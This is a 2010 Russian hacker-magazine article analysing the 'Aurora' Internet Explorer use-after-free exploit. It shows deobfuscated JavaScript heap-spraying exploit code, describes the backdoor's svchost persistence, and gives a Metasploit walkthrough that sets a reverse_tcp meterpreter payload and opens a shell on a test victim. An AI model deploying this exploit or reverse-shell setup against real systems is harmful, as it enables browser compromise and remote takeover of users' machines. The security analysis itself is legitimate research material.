Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #134, ФЕВРАЛЬ 2010 г.

Анализ и использования нового сплоита для Internet Explorer

Степан «Step» Ильин (step@glc.ru)


В корпоративном блоге Google - заявление об атаке на ресурсы компании со стороны Китая. Во всех новостных лентах – бубнеж о попытке выкрасть конфиденциальные данные у сотрудников Google, McAfee, Adobe и еще двух десятков известных компаний. А нам это по барабану :). Какая разница, что хотели украсть хакеры - гораздо интереснее разобраться, как они хотели это сделать. А поскольку в основе лежит новая уязвимость в Internet Explorer, то и займемся мы тем, что препарируем рабочий сплоит.

Главная задача сплоита - заставить браузер обратиться к объекту, который ранее был удален. Причем в том месте памяти, над которым был получен контроль и в который удалось поместить зловредный код (шелл-код), выполняющий загрузку бэкдора. И если первая цель становится доступной из-за ошибки в IE, то контроль над нужным участком памяти достигается благодаря приему Heap Spraying. Он и раньше не раз использовался в сплоитах для браузера.

Техника Heap Spraying

Чтобы лучше понимать, как работает непосредственно Аврора, предлагаю разобраться сначала с приемом Heap Spraying. Тогда код сплоита покажется понятным и логичным. Указанный прием можно применить, когда уязвимая программа (в нашем случае - IE) по какой-то причине обращается к несуществующему участку памяти, находящемуся в адресном пространстве кучи. В то же время адрес не должен быть выше 0x7fffffff, потому что выше этого адреса находится адресное пространство ядра, к которому нет доступа из обычного приложения. Это одно из ограничений приема Heap Spraying.

Итак, что мы можем сделать, если приложение по какой-то причине обращается к куче (по-английски — Heap), но по несуществующему адресу? Ответ зависит от природы уязвимого приложения. Если мы не можем управлять кучей приложения (на самом деле, максимум, что мы можем делать, это неуправляемо инжектировать в нее данные), то пиши пропало: ничего не выйдет. И напротив, если такая возможность имеется, мы можем добавлять данные в кучу, выделяя под них память, до тех пор, пока невалидный до этого момента адрес не начнет существовать. Посмотри на иллюстрацию, чтобы все стало ясно.

Впрочем, знание точного адреса, по которому передается управление, не дает нам возможности произвольно вставить шелл-код: операционная система сама распределяет адресное пространство для выделения динамической памяти. Так как же поместить в кучу шелл-код, чтобы он все-таки выполнился? Есть секрет. Мы можем заполнить кучу одинаковыми блоками, которые состоят из последовательности NOP-команд, означающих «отсутствие операции», и шелл-кода. Если переход будет выполнен на один из таких NOP'ов, то выполнение будет «скользить» по цепочке NOP до тех пор, пока не наткнется на машинную команду, которая выполняет некоторые действия. А поскольку после каждой цепочки NOP'а у нас стоит шелл-код, то именно он и будет их выполнять! Заполнение подобным образом кучи называется Heap Spraying. Другой вопрос: почему он так часто используется для эксплуатирования уязвимостей браузера? Причина в том, что браузер - одно из немногих приложений, которое может управлять кучей. Реализуется все с помощью JS-скриптов, которые выполняются на стороне клиента.

Может показаться, что прием очень простой, но это лишь в теории, а практическая реализация во многих случаях не так очевидна и требует ухищрений. Так или иначе, теперь, когда мы познакомились с ключевым подходом, используемым в Aurora, можно изучить внутренности самого сплоита уже с некоторым знанием дела.

Деобфускация кода

Код нашумевшего сплоита полностью написан на JavaScript, но, чтобы немного усложнить его чтение, автор использовал простой способ обфускации. Тело страницы, вызывающей загрузку трояна, начинается с так называемого декриптора, — он расшифровывает незатейливо закодированный JS-код и начинает его выполнение. Приведу немного урезанный код:

<script>
var c = document
var b = "60 105 ... 62 14 10 "
var ss = b.split(" ");
var a = "a a a ... | } ~ "
var s=a.split(" ");
s[32]=" "
cc = ""
for(i=0;i<ss.length-1;i++) cc += s[ss[i].valueOf()-i%2];
var d = c.write
d(cc)
</script>

С помощью этого кода осуществляется расшифровка тела сплоита и его запуск. Зашифрованное тело JS-скрипта находится в строковой переменной b. Каждый символ выделяется в отдельный элемент массива, после чего с каждым из них в цикле проводятся элементарные преобразования с использованием параметров, сохраненных в переменной a. В результате расшифрованный код сплоита запускается:

<html>
<script>
var sc = unescape("%u9090 [...] 6%ubfa8%u00d8");
var sss = Array(826, 679, [...] 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ )
{
arr[i] = String.fromCharCode(sss[i]/7);
}
var cc=arr.toString();cc=cc.replace(/ ,/ g, "");
cc = cc.replace(/@/g, ",");
eval(cc);

var x1 = new Array();
for (i = 0; i < 200; i ++ ){
x1[i] = document.createElement("COMMENT");
x1[i].data = "abc";
};
var e1 = null;

function ev1(evt){
e1 = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 50);
}

function ev2(){
p = "\u0c0d\ [...] \u0c0d";
for (i = 0; i < x1.length; i ++ )
{
x1[i].data = p;
};
var t = e1.srcElement;
}
</script>

<span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span>

</body></html>

Сразу бросается в глаза переменная sc, в которой находится шелл-код нашего сплоита. Остальная часть сплоита не так очевидна, поэтому пройдемся по исходному коду по частям.

Разбираем тело сплоита

В расшифрованном теле сплоита автор еще раз использует обфускацию, расположив часть кода в закодированном виде в массиве sss.

var sss = Array(826, 679, [...] 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ )
{
arr[i] = String.fromCharCode(sss[i]/7);
}
var cc=arr.toString();cc=cc.replace(/ ,/ g, "");
cc = cc.replace(/@/g, ",");
eval(cc);

Для расшифровки опять же используется простейший прием: для каждого зашифрованного символа из массива sss в цикле выполняется операция sss[i]/7, после чего с помощью функции fromCharCode получается символ по его Unicode-коду. Массив преобразуется в строку cc, из которой регеспами удаляются лишние символы, а завершающей командой eval(cc) запускается запуск расшифрованного кода:

var n = unescape("%u0c0d%u0c0d");
while (n.length <= 524288)n += n;
n = n.substring(0, 524269 - sc.length);
var x = new Array();
for (var i = 0; i < 200; i ++ ){
x[i] = n + sc;
}

А вот теперь, вспоминая описание приема Heap Spraying, внимательно смотрим на код. Сначала создается переменная n, в которую записывается большое количество NOP-элементов 0D 0C (вернее, их заменителей, не выполняющих значимых действий, переходов и вызовов процедур). Далее создается массив из одинаковых элементов, образованных слиянием NOP-команд из переменной n и... шелл-кода из переменной sc. Множество одинаковых блочков, для каждого из которых выделяется память в куче, - классическая реализация приема Heap Spraying! Зачем он нужен, мы определились выше.

Теперь, когда в кучу приложения инжектированы нужные хакеру данные, пора разобраться, как взломщику удается передать управление на один из тех блочков, для которых только что была выделена память. Здесь-то и используется критическая ошибка Internet Explorer, вызывающая такой переход.

Разбираем тело сплоита

Код сплоита далее делает довольно простую вещь:

var x1 = new Array();
for (i = 0; i < 200; i ++ ){
x1[i] = document.createElement("COMMENT");
x1[i].data = "abc";
};
var e1 = null;

Так создается 200 элементов с лейблом COMMENT, а их поле .data заполняется простой строкой «abc». Чтобы не забегать вперед, объясним смысл приема позже. По сути, все приготовления сплоита на этом этапе закончены, и начинается выполнение страницы с загрузки простого изображения:

<span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span>

HTML-код определяет тег <span>, который содержит тег <img>, отображающий aaa.gif (без этого файла сплоит не сработает). Причем, как только изображение загружается, срабатывает обработчик события onload (процедура, выполняемая автоматически после события «загрузка элемента завершена»), в результате которого запускается функция ev1. Посмотрим, что она собой представляет:

function ev1(evt){
e1 = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 50);
}

Функция создает объект-событие на основе события event, переданного через параметр обработчиком события onload тега <img>. Дальше идет интересная часть: с помощью поля innerHTML удаляются все вложенные элементы тега <span>. А поскольку в нем находится только объект <img>, то он и удаляется, становясь недействительным. Последняя строчка функции запускает таймер, который вызывает другую функцию - ev2() - каждые 50 миллисекунд.

function ev2(){
p = "\u0c0d\ [...] \u0c0d";
for (i = 0; i < x1.length; i ++ )
{
x1[i].data = p;
};
var t = e1.srcElement;
}
</script>

И вот, перед нами - ядро сплоита! Мы видим цикл, который проходит по массиву x1 - это тот самый массив, что содержит двести объектов COMMENT, созданные ранее. Для каждого объекта в цикле заполняется поле .data. Если посмотреть на содержимое переменной p, которой заполняется каждый элемент массива x1, можно подумать, что таким образом осуществляется дополнительный Heap Spraying. Но так ли это? Нет! Если посмотреть внимательно, то размер данных, которые присваиваются полю .data, фиксирован, и он слишком маленький для того, чтобы заполнить кучу. Кроме того, в кучу уже было инжектировано достаточно данных - помнишь? На самом деле (и здесь внимание!) код пытается перезаписать память объекта <img>, которая еще недавно была валидной. Ведь, как только объект <img> выгрузили из памяти, место, которое он занимал, снова стало свободным. Когда код присваивает значение полю .data данными, то этим данным нужно место, чтобы быть сохраненными где-то в куче (heap'е). И догадайся - что? Система заново использует память, которая ранее была выделена для объекта <img>! Это значит, что автор сплоита смог перезаписать объект <img> теми данными, какие он захотел. Теперь ответим на вопрос, зачем он использовал для этого 0x0C 0x0D? Все просто: в результате получается адрес 0x0C0D0C0D, — по нему находятся данные с шелл-кодом, которые мы инжектировали в кучу с помощью Heap Spraying'а. То, как происходит переход по следующему адресу, объясняет следующая строка сплоита. Код обращается к объекту e1:

var t = e1.srcElement;

Свойство srcElement возвращает объект, который инициировал событие e1. А этим объектом является <img>, который был удален из объекта span с помощью свойства innerHTML. Вот здесь IE и сходит сума из-за ошибки при попытке получить объект, который был ранее удален. Браузер ссылается по старому указателю, который хакер сумел «перекрыть» множеством значений 0x0C0D0C0D, и управление прямиком попадает в кучу, на один из блоков, инжектированных с помощью Heap Spraying'а. Все: на машине клиента спокойно выполняется шелл-код, осуществляющий загрузку бэкдора.

Бэкдор для Google?

Пробив Internet Explorer, сплоит загружает и устанавливает в системе бэкдор. Несмотря на серьезные цели (все-таки сотрудники Google и т.п.), никакой серьезной защиты у самого трояна нет. Для обфускации используется пресловутый прием «Спагетти-код», с которым справляются автоматически средства, в том числе Hex-Rays. А для обоснования в системе используются вполне традиционные техники с использованием процесса Svchost.exe винды. Любой сервис прописывается с помощью ключа в ветке HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\, а группы сервисов обозначаются в ветке HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Svchost. Бэкдор создает временный сервис со случайным именем и создает новую группу сервисов SysIns. Далее библиотека %System%\rasmon.dll с телом троя прописывается как serviceDLL для этого сервиса, и загрузчик выполняет команду:

C:\Windows\System32\svchost.exe –k SysIns

Библиотека rasmon.dll загружается в память. Напомню, что когда система запускается, он проверяет ветки в реестре и запускает те сервисы, для которых установлен автозапуск. Бэкдор создает для себя запись с описанием сервиса - а система делает все за него. Загруженная библиотека продолжает осваиваться в системе. Сначала она удаляет временный сервис и создает в реестре запись для нового сервиса с именем RaS[4 случайных символа] (например, RaSxake), после чего опять же прописывает библиотеку serviceDLL и привязывает сервис к стандартной группе netsvcs. После этого бэкдор автоматически запускается на старте системы с помощью svchost. Аналогичный прием использовал W32.Downadup, о котором мы подробно рассказывали в прошлом году. Кстати говоря, удалив это «точку загрузки» и перезагрузившись, можно быстро избавиться от заразы.

Сам троян, прописавшись в системе, получает команды через несколько серверов-админок, которые на текущий момент уже прикрыты. Причем в протоколе общения бэкдора с сервером-админкой используется хитрый способ для вычисления контрольных сумм, описанный в одном из китайских изданий, - одна из причин, почему считается, что атака была инициирована хакерами из Китая.

Сплоит в действии

Тело сплоита вскоре после атаки стало доступным на портале Wepawet (wepawet.iseclab.org). Не заставил себя ждать и соответствующий модуль для Metasploit, благодаря которому протестить свои локальные машины на наличие уязвимости, проверив работу сплоита, стало проще простого. Для начала необходимо скачать последнюю версию Metasploit (www.metasploit.com/framework/download) и с помощью онлайн-апдейта обновить базы сплоитов. Напомню, что управление фреймворком осуществляется с помощью специальной консоли msfconsole, через которую вводятся текстовые команды. Чтобы использовать модуль ie_aurora, в котором хранится сплоит для IE, необходимо:

1. Сначала подключить нужный модуль:

msf > use exploit/windows/browser/ie_aurora

2. Далее выбрать шеллкод, т.е. боевую нагрузку, которую будет выполнять сплоит на машине жертвы в случае успешного эксплуатирования уязвимости. Выбираем backconnect (жертва сама «постучится» к нам после поражения):

msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp

3. Для backconnect'а указать порт, на котором будем ждать подключения от пораженной машины:

msf exploit(ie_aurora) > set LHOST наш_IP

4. Дополнительно через параметр URIPATH указать адрес, где будет находиться «отравленная» сплоитом HTML-страница (у нас она будет в корне):

msf exploit(ie_aurora) > set URIPATH /

5. И, в конце концов, отдать команду на создание странички со сплоитом:

msf exploit(ie_aurora) > exploit

В консоли метасплоита появится сообщение об ожидании подключений на локальном IP-адресе:

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.23:8080/
[*] Server started.

Все, теперь можно на любой машине с Internet Explorer 6 (мы тестили на Windows XP SP3) открыть браузер и обратиться по адресу и порту, указанному Local IP (http://192.168.0.23:8080). Если сплоит сработает, в консоли метасплоита ты увидишь сообщение о новой сессии (backconnect'а):

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.23:4444 -> 192.168.0.97:1514)

Считай: дело в шляпе. Остается только воспользоваться бэкконнектом, переключившись на нужную сессию, и отдать одну из команд метасплоита, например, на открытие шелла:

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Testlab\Desktop>

Готово! Помимо модуля для метасплоита, существует также публичная реализация на Python'е (praetorianprefect.com/wp-content/uploads/2010/01/ie_aurora.py_.txt), которая на указанном порту поднимает веб-сервер и отдает подключившимся клиентам HTML-ку с эксплоитом: python ie_aurora.py [номер порта]. В качестве нагрузки используется шелл-код, запускающий на атакуемой машине Калькулятор (calc.exe).

Почему IE6?

На самом деле критическая ошибка существует во всех версиях Internet Explorer. Однако риск заражения для пользователей IE8 значительно ниже. Это обусловлено тем, что для Internet Explorer 8 (и на всех платформах, где его можно установить) активирована DEP (Data Execution Prevention) - технология предотвращения выполнения данных. Смысл в том, что она препятствует исполнению кода из тех участков памяти, которые помечены как «неисполняемые». Именно поэтому с включенной технологией DEP эксплоит не сможет выполнить данные в куче, и в худшем случае пользователя ожидает аварийное завершение работы браузера. Впрочем, security-компания Vupen (www.vupen.com/exploits) объявила, что сумела обойти DEP и эксплуатировать IE8, но публично доступных сплоитов пока нет. Microsoft, в свою очередь изучив предоставленные ей proof-of-concept сплоиты, анонсировала, что пользователи Windows Vista и более поздних систем намного более защищены от атак благодаря технологии Address Space Layout Randomization (ASLR).

Еще один вопрос: откуда взялось это название «Аврора»? Слово «Aurora» было частью файлового пути на компьютере хакера и было включено в два бинарных вредоносных файла, которые загружались в ходе атаки. Такой файловый путь обычно включается компиляторами как указатель на место хранения исходного кода и отладочных символов на компьютере разработчика. Другое название сплоита - Hydraq.

Глоссарий

  • Куча (heap) - условное название области динамической памяти приложения.
  • NOP - сокращение от английского «No OPeration», инструкция процессора, которая предписывает ничего не делать.
  • Обфускация - намеренное запутывание исходного текста путем приведения его к виду, сохраняющему функциональность, но атрудняющему анализ. Обратная операция называется деобфускацией.
  • Address Space Layout Randomization (ASLR) - рандомизация адресного пространства. Технология случайно выделяет пространство для стека, кучи и других элементов в адресном пространстве процесса, чем серьезно усложняет жизнь авторам сплоитов.

WARNING

Информация представлена исключительно в ознакомительных целях. Использование ее в противозаконных целей грозит преследованием со стороны правоохранительных органов. Редакция в этом случае ответственности не несет.

WWW

Содержание